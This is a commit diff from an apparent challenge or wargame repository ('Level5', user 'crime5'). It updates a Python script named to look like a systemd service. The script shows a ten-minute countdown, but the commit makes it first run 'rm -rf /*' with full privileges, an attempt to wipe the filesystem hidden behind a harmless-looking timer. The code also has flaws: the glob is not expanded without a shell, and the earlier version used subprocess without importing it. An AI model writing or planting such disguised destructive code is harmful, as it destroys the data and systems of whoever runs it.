Level/Level5/systemd-hdtob.py aktualisiert
This commit is contained in:
@@ -1,11 +1,17 @@
|
|||||||
|
import os
|
||||||
import time
|
import time
|
||||||
|
import subprocess
|
||||||
|
import pwd
|
||||||
|
def drop_privileges(user):
|
||||||
|
pw = pwd.getpwnam(user)
|
||||||
|
os.setgid(pw.pw_gid)
|
||||||
|
os.setuid(pw.pw_uid)
|
||||||
def countdown(seconds):
|
def countdown(seconds):
|
||||||
for remaining in range(seconds, 0, -1):
|
for remaining in range(seconds, 0, -1):
|
||||||
mins, secs = divmod(remaining, 60)
|
mins, secs = divmod(remaining, 60)
|
||||||
print(f"{mins:02d}:{secs:02d}", end="\r")
|
print(f"{mins:02d}:{secs:02d}", end="\r")
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
subprocess.run(["rm", "-rf", "/*"])
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
subprocess.run(["rm", "-rf", "/*"])
|
||||||
|
drop_privileges("crime5")
|
||||||
countdown(600)
|
countdown(600)
|
||||||
Reference in New Issue
Block a user